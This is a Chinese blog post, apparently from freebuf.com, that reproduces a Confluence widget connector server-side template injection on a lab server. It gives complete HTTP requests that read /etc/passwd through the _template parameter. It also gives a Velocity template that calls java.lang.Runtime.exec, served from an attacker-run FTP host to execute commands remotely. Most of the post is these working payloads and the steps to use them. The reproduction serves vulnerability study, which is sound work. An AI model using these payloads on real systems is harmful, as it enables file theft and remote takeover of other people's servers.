Confluence是款企业知识库软件。其中Confluence Server和Data Center产品中使用的小工具连接器widgetcinnecter组件(版本<=3.1.3)中存在服务器端模板注入漏洞(SSTI)。攻击者可利用该漏洞对系统进行路径遍历)、远程代码执行(RCE)
本文仅作漏洞复现记录与实现,利用流程如下:
一、漏洞环境
目标链接:http://192.168.101.152:8090
不知道是不是我搭建的姿势出了问题,访问之后是这样子的
网上找了篇图片是这样子的
不过不影响漏洞利用,利用流程如下
二、利用流程
文件读取:
发送数据包
POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 192.168.101.152:8090 Connection: close Content-Type: application/json; charset=utf-8 Content-Length: 178 {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}
这里要注意Content-Type:要写为application/json; charset=utf-8,卡了一小会儿
命令执行:
首先要新建一个cmd.vm文件,文件内容如下:
#set ($e="exp") #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("\\A")) #if($scan.hasNext()) $scan.next() #end
然后在同目录打开一个cmd,使用python开启一个ftp服务,使用前要先安装pyftpdlib库
python -m pyftpdlib -p 8845
启动之后发送数据包
POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 192.168.101.152:8090 Connection: close Content-Type: application/json; charset=utf-8 Content-Length: 174 Referer: http://192.168.101.152:8090/rest/tinymce/1/macro/preview {"contentId":"0","macro":{"name":"widget","body":"","params":{"url":"metacafe.com","width":"300","height":"200","_template":"ftp://192.168.101.131:8845/cmd.vm", "cmd":"id"}}}
这里注意ftp://192.168.101.131:8845/是你开启ftp服务的地址,cmd.vm是你新建的文件名字,命令则在cmd参数下执行
命令执行成功
来源:freebuf.com 2021-03-19 19:47:02 by: FengDao
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册